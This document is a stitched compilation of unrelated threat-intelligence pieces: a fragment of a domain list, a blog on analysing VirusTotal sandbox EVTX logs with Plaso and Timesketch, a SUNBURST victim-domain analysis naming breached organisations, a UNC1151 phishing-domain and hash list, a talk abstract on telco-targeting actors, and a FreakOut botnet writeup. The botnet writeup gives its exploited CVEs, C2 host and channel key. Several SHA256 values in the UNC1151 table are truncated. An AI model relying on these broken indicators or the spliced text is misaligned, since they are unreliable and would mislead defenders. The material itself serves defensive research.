- malpas-west-rook[.]live
- charmainellauzier[.]host
- judystevenson[.]info
- jaime-martinez[.]info
- krasil-anthony[.]icu
- ansonwhitmore[.]live
- gonzalez-anthony[.]info
- gallant-william[.]icu
- doloresabernathy[.]icu |
# Use EVTX files on VirusTotal with Timesketch and Sigma (Part 1)
**Alexander Jäger**
**TDLR:**
VirusTotal added a new feature to allow VirusTotal Enterprise customers to download Windows XML EventLog files (.evtx) for a sandbox execution of submitted samples. This article covers how this feature can help incident responders and digital forensic analysts develop detections and how to use the new API to test an existing detection pipeline. Over the course of the article, tools like DFTimewolf, Plaso, and Timesketch will be used.
**Disclaimer**
Most of our other blog posts cover open source techniques. The API feature described in this post is part of a commercial offering from VirusTotal and is not available to free tier accounts. Similar files could be created with Cuckoo Sandbox, an open source malware analysis system.
**Prerequisite**
In order to follow this guide, we will need a running Timesketch server and Docker on our local computer and installed DFTimewolf. In addition, we need access to the private API of VirusTotal.
**Context**
Windows EventLogs are an important source for incident response and digital forensics. Analysts usually extract events from the EVTX files to put them into timelines and use events to detect anomalous activity. Several open source tools are available to extract and parse EVTX files and create timelines out of them (e.g., Plaso).
Besides EVTX data from real incidents, there are situations where analysts need EVTX files to test or improve tools or rules. To make use of that data, analysts usually need access to a clean system. If they want to create new signatures like Sigma rules based on event log entries, analysts have to either create mock entries or maintain a lab, execute a sample, capture event logs, parse them, and then start writing detection rules.
Maintaining such a lab environment comes with a cost. Cost of hardware or software, and time for maintenance are just the tip of the iceberg of these costs. Wouldn't it be handy to have a system where we can upload a sample, it would run, and provide us with the event logs after execution?
VirusTotal has been a central point of collecting and executing samples since 2004, and its first sandbox reports were made available during 2012, which has helped analysts create detection rules for malware. In 2021, VirusTotal added support for Sigma to show Sigma rule matches against the EventLogs produced when samples are run. The VirusTotal team added a feature in October 2021 to enable users with access to the private API to download EVTX files for samples.
**VirusTotal API**
The VirusTotal API has two tiers, a private and a public. While the majority of API endpoints and information is freely available to registered users, the private API is restricted to premium customers. The first one is free to any user, and the other is limited to Enterprise users. The description of all the API endpoints and features can be found on the VirusTotal website.
**How can this be used with one sample?**
Say we want to create a detection rule in our environment for a given sample; the only thing we need to start with is the SHA-256 hash of the sample. With this hash, we can go to VirusTotal and download the EVTX file. For this example, we will have a look at one sample that we will first download manually to add it to Timesketch and after that a scalable method with DFTimewolf. For this, we will focus on the following sample: `3c15384ccc84fb12fe4f95e46cff2dee24c991686d35871d5d3321d587605306`. This sample was uploaded to VirusTotal on 2021-10-07 06:18:24 UTC, and its VirusTotal report contains several hints on why it is bad, for example, several hits on Sigma rules (which is only visible for enterprise VirusTotal users).
**Getting the EVTX from VirusTotal**
The first thing we do, for convenience, is to create an environment variable that contains our VirusTotal API key. We can find our API key following: `https://developers.virustotal.com/reference#getting-started`. Copy that value and go to our shell:
```bash
export VT_API_KEY="AAAAAAAAAAAA"
```
And do the same for the hash:
```bash
export HASH="3c15384ccc84fb12fe4f95e46cff2dee24c991686d35871d5d3321d587605306"
```
**Search the sample on VirusTotal**
Now let's check if the sample in question has EVTX data:
```bash
curl --header "x-apikey: ${VT_API_KEY}" https://www.virustotal.com/api/v3/files/${HASH}/behaviours > ${HASH}.json
```
**Check if EVTX is available for the sample**
In the response, the "has_evtx" boolean needs to be checked using jq:
```bash
$ cat ${HASH}.json | jq '.data[] | select(.attributes.has_evtx) | .links'
```
```json
{
"self": "https://www.virustotal.com/api/v3/file_behaviours/3c15384ccc84fb12fe4f95e46cff2dee24c991686d35871d5d3321d587605306_VirusTotal ZenBox"
}
```
**Download and extract the EVTX**
Fetch the EVTX ZIP file containing all EVTX files from the sandbox executions of that sample.
```bash
curl --location -v --request GET --url "https://www.virustotal.com/api/v3/file_behaviours/${HASH}_VirusTotal%20ZenBox/evtx" --header "x-apikey: ${VT_API_KEY}" -o ${HASH}_evtx.zip
```
Now we have a zip that we can unpack, but first, let's move the file into a subdirectory:
```bash
mkdir $HASH
mv $HASH_evtx.zip $HASH
```
**Unzip**
```bash
cd $HASH
unzip $HASH_evtx.zip
```
**Process EVTX with Plaso**
Now we parse the EVTX file with Plaso (of course, adjust the directory of our folder):
```bash
username@host:~/dev/vt_evtx/${HASH}$ docker run -v ~/dev/:/data log2timeline/plaso log2timeline --storage_file /data/vt_evtx/${HASH}.plaso /data/vt_evtx/${HASH}/
```
That will generate a .plaso file with an output similar to (output is trimmed):
```
plaso - log2timeline version 20211024
Source path : /data/vt_evtx/3c15384ccc84fb12fe4f95e46cff2dee24c991686d35871d5d3321d587605306
Source type : directory
Processing time : 00:00:06
Tasks: Queued Processing Merging Abandoned Total
0 0 0 0 313
Identifier PID Status Memory Sources Events File
Main 7 completed 152.4 MiB 313 (0) 14313 (0)
```
Now if we do the following to check the number of events and more metadata:
```bash
docker run -v ~/dev/vt_evtx/:/data log2timeline/plaso pinfo /data/${HASH}.plaso
```
This will give us some indication of how many events have been parsed; if the number is very low, there might be issues:
```
*************************** Plaso Storage Information ***************************
Filename : 3c15384ccc84fb12fe4f95e46cff2dee24c991686d35871d5d3321d587605306.plaso
Format version : 20210514
Storage type : session
Serialization format : json
--------------------------------------------------------------------------------
*********************************** Sessions ***********************************
8a903a57-6e36-45dd-b03a-8e38359e3822 : 2021-10-22T14:21:38.407377Z
c7847b56-3dd9-413f-8598-05183c22866b : 2021-10-22T14:23:05.795549Z
--------------------------------------------------------------------------------
******************************** Event sources *********************************
Total : 315
--------------------------------------------------------------------------------
************************* Events generated per parser **************************
Parser (plugin) name : Number of events
--------------------------------------------------------------------------------
filestat : 945
winevtx : 13374
Total : 14319
--------------------------------------------------------------------------------
```
**Ingest .plaso file to Timesketch**
We want to ingest the Plaso file in Timesketch, an open source DFIR tool to collaborate on timelines. We want to import the file with the Notebook shipped with Timesketch, as explained here: `https://github.com/google/timesketch/blob/master/docs/learn/notebook.md`.
Visit: `http://localhost:8844/?token=timesketch`. Before we continue, move the Plaso file that was just created to the tmp directory because the dev notebook only has read access to that directory.
```bash
cp ${HASH}.plaso /tmp/
```
We can run the following in our notebook and see if we find the file:
```bash
%ls -hall ${HASH}.plaso
```
```
-rw-r----- 1 768470 89939 11M Oct 22 14:29 3c15384ccc84fb12fe4f95e46cff2dee24c991686d35871d5d3321d587605306.plaso
```
We might need to add read permissions to the Plaso file so the notebook can read it:
```bash
chmod a+r /tmp/${HASH}.plaso
```
The following code makes use of the Timesketch import client and will upload the file to our sketch (make sure the celery workers are running):
```python
from timesketch_api_client import config
from timesketch_import_client import importer
ts = config.get_client()
my_sketch = ts.get_sketch(2)
with importer.ImportStreamer() as streamer:
streamer.set_sketch(my_sketch)
streamer.set_timeline_name('3c15384ccc84fb12fe4f95e46cff2dee24c991686d35871d5d3321d587605306')
streamer.set_timestamp_description('VT_EVTX_3c15384ccc84fb12fe4f95e46cff2dee24c991686d35871d5d3321d587605306')
streamer.add_file('3c15384ccc84fb12fe4f95e46cff2dee24c991686d35871d5d3321d587605306.plaso')
```
We now have the timeline in Timesketch. We’ll leverage the Sigma module of Timesketch to write, test, and adjust our Sigma rules against EventLogs that are generated when the sample that was run in the VirusTotal sandbox.
**Automate the process**
To not have to manually repeat all the steps previously mentioned, a DFTimewolf recipe called `vt_evtx` is available to automate this. DFTimewolf is a free and open source tool that has integrations (among others) with Plaso and Timesketch. The recipe is invoked like this:
```bash
dftimewolf vt_evtx e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2 /var/tmp/
```
That command will try to download the EVTX files for the hash. If we pass SHA-256 hashes to the tool that are unknown to VirusTotal or do not have an EVTX file to download, it will tell us. The only thing we need to add if we do not want to provide our API key in the command line argument is (or add `–vt_api_key ${VT_API_KEY}` in your DFTimewolf command):
```json
cat ~/.dftimewolfrc
{
"vt_api_key": "${VT_API_KEY}"
}
```
After that execution, we have the final Plaso file: `/tmp/tmptgy5m6jn/826d057c4abe4c0e9a7aa4d6bf886063.plaso`, which can be added to Timesketch and all other compatible tools very easily. To make it even easier, there is also a recipe called `vt_evtx_ts` which will push the Plaso file directly to Timesketch.
**Exploring the data in Timesketch**
In Timesketch, we can now start to explore the sketch and find interesting events, e.g., by searching for `*accepteula* AND *-ma* AND *lsass.exe*`. The event matching this search term indicates execution of procdump to copy memory of lsass. This is a technique used by attackers to retrieve passwords.
In part two of this blog series, we will look into ways to use a VirusTotal EVTX file to test a Sigma rule and adjust Sigma config in Timesketch to make the rule work. If you have any questions, please reach out on the Open Source DFIR Slack community. |
# Twenty-three SUNBURST Targets Identified
Remember when Igor Kuznetsov and Costin Raiu announced that two of the victims in FireEye's SUNBURST IOC list were ***net.***.com and central.***.gov on Kaspersky's Securelist blog in December? Reuters later reported that these victims were Cox Communications and Pima County.
We can now reveal that the internal AD domain of all SUNBURST deployments in FireEye's IOC list can be extracted from publicly available DNS logs published by Twitter user VriesHd, a.k.a. "Kira 2.0", with help of our SunburstDomainDecoder tool. The data published by VriesHd is the most complete SUNBURST DNS collection we've seen, with over 35,000 avsvmcloud.com subdomains! Here is FireEye's IOC table completed with our findings:
| Leaked AD Domain | Sunburst C2 FQDN | CNAME | Timestamp (UTC) |
|-----------------------|--------------------------------------------|---------------------------|------------------|
| central.pima.gov | 6a57jk2ba1d9keg15cbg.appsync-api.eu-west-1.avsvmcloud.com | freescanonline[.]com | 2020-06-13 09:00 |
| central.pima.gov | 7sbvaemscs0mc925tb99.appsync-api.us-west-2.avsvmcloud.com | deftsecurity[.]com | 2020-06-11 22:30 |
| central.pima.gov | gq1h856599gqh538acqn.appsync-api.us-west-2.avsvmcloud.com | thedoccloud[.]com | 2020-06-13 08:30 |
| coxnet.cox.com | ihvpgv9psvq02ffo77et.appsync-api.us-east-2.avsvmcloud.com | freescanonline[.]com | 2020-06-20 02:30 |
| corp.qualys.com | k5kcubuassl3alrf7gm3.appsync-api.eu-west-1.avsvmcloud.com | thedoccloud[.]com | 2020-07-22 17:00 |
| corp.qualys.com | mhdosoksaccf9sni9icp.appsync-api.eu-west-1.avsvmcloud.com | thedoccloud[.]com | 2020-07-23 18:30 |
## Victims Targeted with SUNBURST Stage 2 Backdoor
It was not just the victims listed in FireEye's IOC that were specifically targeted by the SUNBURST operators. As explained in our Finding Targeted SUNBURST Victims with pDNS blog post, the "STAGE2" flag in SUNBURST's DNS beacons can be used to reveal additional organizations that were singled out as interesting targets by the threat actors.
We'd like to stress that the majority of all companies and organizations that have installed a backdoored SolarWinds Orion update were never targeted by the threat actors. This means that these SUNBURST backdoors never made it past what we call "Stage 1 operation", where the backdoor encodes the internal AD domain name and installed security products into DNS requests. SUNBURST backdoors in Stage 1 operation cannot accept any commands from the C2 server without first progressing into Stage 2 operation. We estimate that about 99.5% of the installed SUNBURST backdoors never progressed into Stage 2 operation.
Here is the full list of internal AD domain names from the SUNBURST deployments in VriesHd's DNS data that actually did enter Stage 2 operation according to our analysis:
- central.pima.gov (confirmed)
- cisco.com (confirmed)
- corp.qualys.com (confirmed)
- coxnet.cox.com (confirmed)
- ddsn.gov
- fc.gov
- fox.local
- ggsg-us.cisco.com (confirmed)
- HQ.FIDELIS (confirmed)
- jpso.gov
- lagnr.chevrontexaco.net
- logitech.local
- los.local
- mgt.srb.europa* (confirmed)
- ng.ds.army.mil
- nsanet.local (not the NSA)
- paloaltonetworks* (confirmed)
- phpds.org
- scc.state.va.us (confirmed)
- suk.sas.com
- vgn.viasatgsd.com
- wctc.msft
- WincoreWindows.local
Our SUNBURST STAGE2 Victim Table has now been updated with additional details about the STAGE2 signaling from these SUNBURST implants, including timestamps, avsvmcloud.com subdomains, and GUID values.
## Initial Microsoft Targeting FAIL
The last two entries in the AD domain list above are interesting, since they both hint that the targeted entity might be Microsoft.
The data that gets exfiltrated in DNS beacons during SUNBURST's initial stage is the internal domain the SolarWinds Orion PC is connected to and a list of installed security products on that PC. These domain names, security products, and possibly also the victims' public IP addresses, was the data available to the attackers when they decided which ones they wanted to proceed to Stage 2 with and thereby activate the HTTPS backdoor built into SUNBURST.
The threat actors were probably surprised when they realized that "WincoreWindows.local" was in fact a company in West Virginia that manufactures high-quality windows and doors.
The threat actors later found another backdoored SolarWinds Orion machine connected to a domain called "wctc.msft", which also sounds like it could be Microsoft. Below is a table outlining relevant events for these two SUNBURST deployments that can be extracted from VriesHd's SB2 spreadsheet with SunburstDomainDecoder.
| Target ID | Beaconed Data | Date |
|---------------------|----------------------------------------|------------|
| A887B592B7E5B550 | AD domain part 1: "WincoreW" | |
| A887B592B7E5B550 | AD domain part 2: "indows.local" | |
| A887B592B7E5B550 | AV Products: [none] | 2020-05-22 |
| 🤔 Threat actor decision: Target victim | | |
| A887B592B7E5B550 | STAGE2 request for new C2 server in CNAME | 2020-05-26 |
| 🤔 Threat actor decision: These aren't the droids we're looking for | | |
| 59956D687A42F160 | AD domain: "wctc.msft" | |
| 59956D687A42F160 | AV Products: [none] | 2020-06-20 |
| 59956D687A42F160 | Ping | 2020-06-21 |
| 59956D687A42F160 | Ping | 2020-06-22 |
| 🤔 Threat actor decision: Target victim | | |
| 59956D687A42F160 | STAGE2 request for new C2 server in CNAME | 2020-06-23 |
Microsoft has been public about being hit by SUNBURST (or "Solorigate" as they call it), so we can assume that the threat actors eventually located a backdoored SolarWinds Orion installation in their networks.
## Victim Notification
We spent the previous week reaching out to targeted companies and organizations, either directly or through CERT organizations. From what we understand, many of these organizations were already aware that they had been targeted victims of SUNBURST, even though they might not have gone public about the breach.
## The Ethical Dilemma
We have no intentions to shame the organizations that have installed a backdoored SolarWinds Orion update, regardless if they were targeted by the threat actor or not. In fact, the supply chain security problem is an extremely difficult one to tackle, even for companies and organizations with very high security standards. This could have happened to anyone!
However, since multiple passive DNS logs and SUNBURST victim lists have been circulating through publicly available channels for over a month, we felt that it was now acceptable to publicly write about the analysis we've been doing based on all this data. We'd also like to thank everyone who has helped collect and share passive DNS data, including John Bambenek, Joe Słowik, Rohit Bansal, Dancho Danchev, Paul Vixie, and VriesHd. This open data has been crucial in order to develop and verify our SunburstDomainDecoder tool, which has been leveraged by numerous incident response teams to perform forensic analysis of DNS traffic from their SolarWinds Orion deployments.
## More Credits
We'd like to thank CERT-SE and all other computer emergency response organizations that have helped us with the task of notifying organizations that were identified as targeted. We would also like to applaud companies and organizations like FireEye, Palo Alto Networks, Fidelis Cybersecurity, Microsoft, the U.S. Department of Energy, and the U.S. Federal Courts for being transparent and publicly announcing that the SUNBURST backdoor had been used in an attempt to compromise their networks. |
# UNC1151 Group Indicators of Compromise (IOC)
These IOCs were released as part of PTI team research.
## UNC1151 Phishing Domains
- account-noreply.space
- account-passports.top
- accounts-facebook.com-pastas.top
- accounts-gmail.com-check.online
- accounts-gmail.com-login.space
- accounts-group.com-pastas.top
- accounts-mail.site
- accounts-mail.top
- accounts-secure.com-firewall.online
- accounts-verify.space
- accounts.safe-mail.space
- accounts.secure-ua.site
- accounts.verify-email.space
- accountsverify.top
- aplikacje.ron-mil.space
- bezpieczenstwo-danych.website
- bhwbehb.wecwe.com
- bigmir.space
- bokinteria.pl-kontrola-bezpieczenstwa.space
- bokinteria.weryfikacja-konta.pw
- com-pastas.top
- com-verificate.top
- com-verification.online
- confirm.acount-pasport.site
- confirm.id-bigmir.site
- cookie-firewall.com-login.space
- dzial-bezpieczenstwa.space
- exprentis.com
- google.accounts.verify.no-reply.space
- google.com-firewall.online
- google.verifyprofiles.space
- group-rambler.site
- grupa-mailowa.weryfikacja-konta.link
- i-ua.ml
- i.ua-login.top
- i.ua-passport.site
- i.ua-passport.space
- i.ua-passport.top
- iat.com.ua
- id-mail.site
- id-mail.tech
- id.verify-mail.space
- interia.pl-identyfikacja-uzytkownika.pw
- interia.poczta-mailowa.top
- interia.weryfikacja-poczty.space
- interia.weryfikacja-uzytkownika.site
- interii.konto-verify.space
- kemda.eu
- konto-onet.site
- konto-verify.space
- konto.weryfikacja-uzytkownika.link
- konto.weryfikacja-uzytkownika.online
- konto.weryfikacja-uzytkownika.pw
- kontrola-bezpieczenstwa.link
- kontrola-bezpieczenstwa.walidacja-uzytkownika.pw
- kontrola-konta.online
- kontrola-mailowa.top
- kontrola-poczty.top
- krebas.lt
- login.creditals-email.space
- login.meta-ua.top
- login.passport-verify.top
- login.verification-email.space
- login.verify-mail.space
- logowanie.identyfikacja-uzytkownika.link
- logowanie.kontrola-poczty.link
- mail-accounts.site
- mail-accounts.space
- mail-profiles.space
- mail.mil-gov.space
- meta-ua.space
- mil-gov.space
- mirrohost.space
- no-reply.accounts-verify.space
- no-reply.space
- no-reply.verifyprofiles.space
- no-response.site
- no-response.website
- noreply.accountsverify.top
- okonto.kontrola-bezpieczenstwa.pw
- okonto.kontrola-poczty.pw
- passport.i-ua.space
- passport.login-verify.top
- passport.meta-log.site
- passport.meta-ua.top
- passport.secure-ua.pw
- passport.secure-ua.space
- pastas.top
- pis.kontrola-bezpieczenstwa.site
- plklll.site
- poczta-mailowa.top
- poczta.bezpieczenstwo-danych.website
- poczta.departament-bezpieczenstwa.space
- poczta.identyfikacja-uzytkownika.space
- poczta.kontrola-bezpieczenstwa.link
- poczta.kontrola-bezpieczenstwa.top
- poczta.kontrola-konta.online
- poczta.kontrola-mailowa.top
- poczta.safe-onet.space
- poczta.sprawdzanie-zabezpieczen.space
- poczta.walidacja-konta.site
- poczta.walidacja-uzytkownika.pw
- poczta.weryfikacja-okonto.online
- poczta.weryfikacja-okonto.site
- poczta.wp-firewall.website
- pomoc.sprawdzanie-zabezpieczen.space
- pomoc.weryfikacja-okonto.online
- post.mil-gov.space
- post.verify-mail.space
- potwierdzenie.konto-onet.site
- rambler-account.top
- rambler-profile.site
- rambler-verify.top
- rambler.account-noreply.space
- rtrrsfgsfg.site
- rwegfwfe.site
- sdfavavvvv.site
- security.passportlogin.top
- service.kontrola-poczty.space
- system.walidacja-konta.link
- system.walidacja-konta.pw
- taysbb.ru
- ua-passport.pw
- ubsbha.ru
- ukr.account-login.top
- usluga.kontrola-poczty.top
- veirfy-ua.space
- verification-email.website
- verify.account-login.top
- verify.accounts-login.top
- verify.accounts-mail.site
- verify.accounts-passport.top
- verify.acount-passport.site
- verify.group-rambler.site
- verify.mail-profiles.space
- verify.no-replay.space
- verify.passport-login.top
- verify.passportlogin.top
- verify.profiles-login.top
- verifyprofiles.space
- verifyprofiles.top
- walidacja-konta.site
- walidacja-poczty.space
- walidacja-uzytkownika.space
- weryfikacja-konta.link
- weryfikacja-konta.space
- weryfikacja-okonto.online
- weryfikacja-okonto.site
- weryfikacja-uzytkownika.link
- weryfikacja-uzytkownika.online
- weryfikacja-uzytkownika.top
- weryfikacja.system-pocztowy.space
- wirtualna.grupa-pocztowa.online
- wojskowa.akademia-mil.space
## Phishing Attachments
| MD5 | SHA1 | SHA256 |
|---------------------------------------|----------------------------------------|------------------------------------------|
| 12bd6e9b272a13a70f1e0354b4b33fb5 | 3b3552f82621a4d67c6b0c955c87b8f8181f4141 | 57629b46602bf8eaaab8914e1584f0002b59bb11076 |
| 9549340bfd3ed44203434b63a270eafa | 38cff1fccb6d83730eb0408f2e5bd6a9504c60c7 | 4c2600843e06db6612a35e93dba74436076cb3c83c |
| 5f7d7b491b98b29dcf8b8ac0239cc660 | 55f017ca223d71e2c8d67a44ba2afd18d5b1e3b2 | d3fd70868556cdb5fccafb2aa1a8bafc5465d61929c7 |
| 3c909c3afbfb67d54ac34bff270bfe93 | f43520700834d964861d091b345bfe387a510fa2 | 615fc48c199df4b6424ff880da797735c9002b5014e2 |
| 09e19240cbf0faa4f34d71ddf4919eec | 54abd425b1d5e87fe833ffcddfef223e3916e68f | 5e4ac32767cdfe31e21e577f353d0a19596c1c950f0 |
| 2d45004a62e6c3bfbe9357eb92ec2ba5 | ba7bb3e52539ca0e07b7806a511557a6e311c9f6 | 9f420a6f76744a3c2183261488a22a21085fce1b5bb |
## Command and Control Server
- kurioworld.cf
- kurioworld.gq |
# Tinker Telco Soldier Spy
China-based threat actors have persistently targeted the telecommunications sector for many years. In this talk, PwC Threat Intelligence (PwC TI) analysts will share their research and present on case studies for several China-based threats currently targeting telcos prolifically, including well-known threats such as GALLIUM, who PwC tracks as Red Dev 4, and lesser-known threat actors which have never been publicly disclosed before. Specifically, Will and Ben will discuss some of the common tactics, techniques, and procedures (TTPs) these adversaries are using to compromise telcos, including some of their vulnerability preferences, and the strategic backdrop and objectives motivating this targeting.
## Introduction
We’ll begin by briefly setting the scene, with a discussion of the China-based threat landscape more broadly, particularly as it relates to telecommunications. This will include discussion of some of the wider targeting we’ve seen previously.
## Red Dev 4 / GALLIUM
Next, we’ll discuss a specific example: Red Dev 4 (a.k.a. GALLIUM) is a China-based threat actor which has compromised telecommunications entities globally. There has been no public reporting on GALLIUM since 2019; however, we assess that it remains active as of at least March 2022. We will discuss some of the recent techniques we’ve seen Red Dev 4 use to maintain footholds within victim environments, such as the delivery of SoftEther VPN clients configured to connect to threat actor-owned infrastructure. This will allow us to demonstrate techniques to track similar activity and to discover victims in network telemetry. We will also reference SoftEther configuration files submitted to an online multi-antivirus scanner by victims, the contained log files of which have assisted in identifying further malicious activity in victim networks. Lastly, we will reference victimology and demonstrate how this reflects geopolitical activities and therefore suggests the targeting aligns with China’s strategic aims.
## Red Menshen
Next, we’ll introduce a threat actor we track as Red Menshen. We first discovered this actor in 2021 when we detected a sample of a Linux backdoor we track as BPFDoor. We will briefly highlight some of the functionality of BPFDoor and the ways in which Red Menshen uses it to maintain stealthy persistence and move laterally within victim environments. Based on this analysis, we were able to identify victims in the telecommunications, government, and education sectors throughout Asia. By analyzing network telemetry related to the victims we discovered, we were able to uncover recent Red Menshen infrastructure and to uncover the threat actor’s upstream infrastructure. This led to the discovery of the suspected compromise of several hundred routers in Taiwan, which are used as proxies in order to access threat actor infrastructure and browse to websites.
## Conclusions
We will conclude by discussing the wider motivations of China’s ongoing exploitation of telecommunications providers. This spans a wide range, from targeting information on specific subscribers to potentially developing access to core networks which can later be exploited for intelligence value. We assess that it is highly likely that telecommunications organisations will remain a key target for China-based threat actors.
### Attendee Takeaways
1. The talk will advance public knowledge of nation-state cyber threats against the telecommunications industry worldwide.
2. We will share in-depth threat intelligence about sophisticated nation-state threat actors that has not been publicly disclosed before, including their techniques and targeting.
3. Attendees will leave with a better understanding of how to identify and defend against these threat actors’ operations and how to better secure their environments against compromise.
## About the Speakers
**Ben Jackson**
Ben is a Senior Threat Intelligence Analyst and Reverse Engineer in PwC’s Global Threat Intelligence team. Ben’s day-to-day spans reverse engineering of custom and persistent malware implants, as well as analysis of upstream communications and threat actors’ C2 management. He conducts technical research into threat actors with a variety of origins and motivations, with particular focus on sophisticated, espionage-motivated threats based in Russia and China.
**Will Bonner**
Will leads the APAC Research Team within PwC’s Global Threat Intelligence team. He has 5 years of experience working in the Threat Intelligence industry in the public sector and brings expertise in analyzing malware and network communications, particularly malware beaconing and victim identification. While Will has experience researching a broad range of threat actors based in various parts of the world, he currently focuses on those attributed to the APAC region. |
# FreakOut – Leveraging Newest Vulnerabilities for Creating a Botnet
**Research By:** Omer Ventura, Ori Hamama, Network Research
**Date:** January 19, 2021
## Introduction
Recently, Check Point Research encountered several attacks that exploited multiple vulnerabilities, including some that were only recently published, to inject OS commands. The goal behind the attacks was to create an IRC botnet, which can later be used for several purposes, such as DDoS attacks or crypto-mining. The attacks aim at devices that run one of the following:
- **TerraMaster TOS** (TerraMaster Operating System) – the operating system used for managing TerraMaster NAS (Network Attached Storage) servers.
- **Zend Framework** – a collection of packages used in building web applications and services using PHP, with more than 570 million installations.
- **Liferay Portal** – a free, open-source enterprise portal. It is a web application platform written in Java that offers features relevant for the development of portals and websites.
Each of the infected devices can be later used as an attacking platform, thus making the attack flow recursive. In a later variant, Xmrig causes the victim’s device to engage in coin-mining.
## FreakOut Infection Chain
The campaign exploits these recent vulnerabilities: CVE-2020-28188, CVE-2021-3007, and CVE-2020-7961. These allow the attacker to upload and execute a Python script on the compromised servers.
### CVE-2020-28188
The vulnerability is caused by a lack of input validation in the “event” parameter in the “makecvs” PHP page (/include/makecvs.php). This allows a remote unauthenticated attacker to inject OS commands and gain control of the servers using TerraMaster TOS (versions prior to 4.2.06).
### CVE-2021-3007
This vulnerability is caused by the unsecured deserialization of an object. In versions higher than Zend Framework 3.0.0, the attacker abuses the Zend3 feature that loads classes from objects in order to upload and execute malicious code on the server. The code can be uploaded using the “callback” parameter, which in this case inserts malicious code instead of the “callbackOptions” array.
### CVE-2020-7961
The vulnerability is a Java unmarshalling vulnerability via JSONWS in Liferay Portal (in versions prior to 7.2.1 CE GA2). Exploiting the vulnerability lets the attacker provide a malicious object that, when unmarshalled, allows remote code execution.
In all the attacks involving these CVEs, the attacker’s first move is to try running different syntaxes of OS commands to download and execute a Python script named “out.py”. After the script is downloaded and given permissions (using the “chmod” command), the attacker tries to run it using Python 2. Python 2 reached EOL (end-of-life) last year, meaning the attacker assumes the victim’s device has this deprecated product installed.
## The Python Code – out.py
The malware, downloaded from the site hxxp://gxbrowser[.]net, is an obfuscated Python script consisting of polymorphic code. Many of the function names remain the same in each download, but there are multiple functions that are obfuscated using random strings generated by a packing function. The first attack trying to download the file was observed on January 8, 2021. Since then, hundreds of download requests from the relevant URL were made.
When we searched for the relevant domain and file in VirusTotal (VT), we found other codes called “out.py”. These files were uploaded only a few hours before the attacks began and had low scores of detections by the AVs presented in VirusTotal. All the files originated from the same domain, hxxp://gxbrowser[.]net, as this address is hardcoded in all scripts and is the only address that appears.
When we examined the first variation uploaded to VT with our script and compared the codes and their functions, it seemed to be a slightly earlier version of the code. The code itself is less obfuscated, includes comments, and seems to be related to our attacker. In addition, in this version, the attacker left a calling card with relevant information, including the code developer’s name and an update that took place on January 1, 2021. All this information was omitted in the version we studied.
## The Malware Capabilities
At this point, the facilities and capabilities of the malware became clearer. There is a specific function for each of the main capabilities, making the code very modular and easy to change or maintain:
- **Port Scanning utility**
- **Collecting system fingerprint** – Includes the device address (MAC, IP), and memory information.
- **Creating and sending packets** – ARP poisoning for Man-in-the-Middle attacks.
- **Brute Force** – using hard-coded credentials.
- **Handling sockets** – Includes handling exceptions of runtime errors.
- **Sniffing the network** – Executes using the “ARP poisoning” capability.
- **Spreading to different devices** – Exploits the CVEs mentioned above.
- **Gaining persistence** by adding itself to the rc.local configuration.
- **DDoS and Flooding** – Self-implementation of Slowlaris.
- **Opening a reverse-shell** – shell on the client.
- **Killing a process by name or ID**.
- **Packing and unpacking the code** using obfuscation techniques.
## The Malware’s Communication
Each infected device is configured to communicate with a hardcoded C2 server. All the connection credentials are obfuscated and encoded in the code itself multiple times. At the initial connection to the server, the conversation begins with the client sending a “NICK message”, which declares the user nickname. The nickname is generated with this format: `[HAX|System OS|Machine Type|CPU count] 8-12 random letters`.
After declaring the nickname of the client, the client sends the username, which is the nickname plus the IRC address and the string “localhost:”, followed by the bot nickname. When the server accepts this message, the communication begins.
In FreakOut, the relevant channel was “#update” on the server “gxbrowser[.]net”. The user must provide a channel key, used as a password, to connect to the channel. The key can be extracted from the code and is equal to the string “N3Wm3W”.
The client can now be used as a part of a botnet campaign and accepts command messages from the server to execute. The commands are sent using a symbols-based communication. Each message sent by the server is parsed and split into different symbols, with each one having a different meaning.
## The Impact
Based on the malware features, it seems that the attacker can use the compromised systems for further attacks, such as using the system resources for crypto-mining, spreading laterally across the company network, or launching attacks on outside targets while masquerading as the compromised company. We revealed further information about FreakOut when we used the algorithm-created credentials to connect to the server. After logging in, additional server information is provided to the client, including the room’s capacity, the users connected, and even operators and unknown connections.
The server was created in late November 2020 and has been running ever since with 300 current users and 5 channels. Exploring the different channels revealed a very active one, called #update. This channel includes 186 exploited devices communicating with the server.
## Threat Actors
To identify the threat actors responsible for the attacks, we searched for leads on the internet and social media. Searching for both the code author, who goes by the name “Freak”, and the IRC bot name “N3Cr0m0rPh”, revealed information about the threat actor behind the campaign.
In a post published on HackForums back in 2015, submitted by the user “Fl0urite” with the title “N3Cr0m0rPh Polymorphic IRC BOT”, the bot is offered for sale in exchange for BitCoins (BTC). This bot seems to have many of the same capabilities as the current one, and the same description as the current bot in the calling card. However, some of the features were omitted over the years.
The name “Fl0urite” is mentioned in other hacking forums and GitHub, and is associated with multiple pieces of code which can be found on these sites that resemble the current malware code functions. As mentioned previously, “[email protected]” appears to be the author of the latest code version. When we searched for these strings, we found several results, including an earlier version of the malware code (V6). In this version, however, the author left a comment, explaining the code is a free tool and that redistribution is allowed.
In early 2015, codes found on Pastebin, uploaded by the user “Keksec”, show a link between the two identities “Fl0urite” and “Freak” in several files. In addition, there is a link to the user “Fl0urite” on HackForums in these files signed by “Freak.” The other files uploaded by the user are signed with the exact string “[email protected] (aka sudoer)” that seems to be associated with the malware functions as well. Based on this evidence, we conclude that both identities belong to the same person.
## Conclusion
FreakOut is an attack campaign that utilizes three vulnerabilities, including some newly released, to compromise different servers. The threat actor behind the attack, named “Freak”, managed to infect many devices in a short period of time and incorporated them into a botnet, which in turn is used for DDoS attacks and crypto-mining. Such attack campaigns highlight the importance of taking sufficient precautions and updating your security protections on a regular basis. As we have observed, this is an ongoing campaign that can spread rapidly.
## MITRE ATT&CK TECHNIQUES
- **Initial Access**
- **Resource Development**
- **Execution**
- **Persistence**
- **Privilege Escalation**
- **Defense Evasion**
- **Credential Access**
- **Discovery**
- **Lateral Movement**
- **Collection**
## Protections
Check Point customers are protected by these protections:
- **IPS**
- TerraMaster TOS Command Injection (CVE-2020-28188).
- Liferay Portal Insecure Deserialization (CVE-2020-7961).
- Zend Framework Remote Code Execution (CVE-2021-3007).
- CMD Injection Over HTTP
- **Anti-Bot**
- Win32.IRC.G
- N3Cr0m0rPh.TC.a
- Win32.N3Cr0m0rPh.TC.a
- Win32.N3Cr0m0rPh.TC.b
- Win32.N3Cr0m0rPh.TC.c
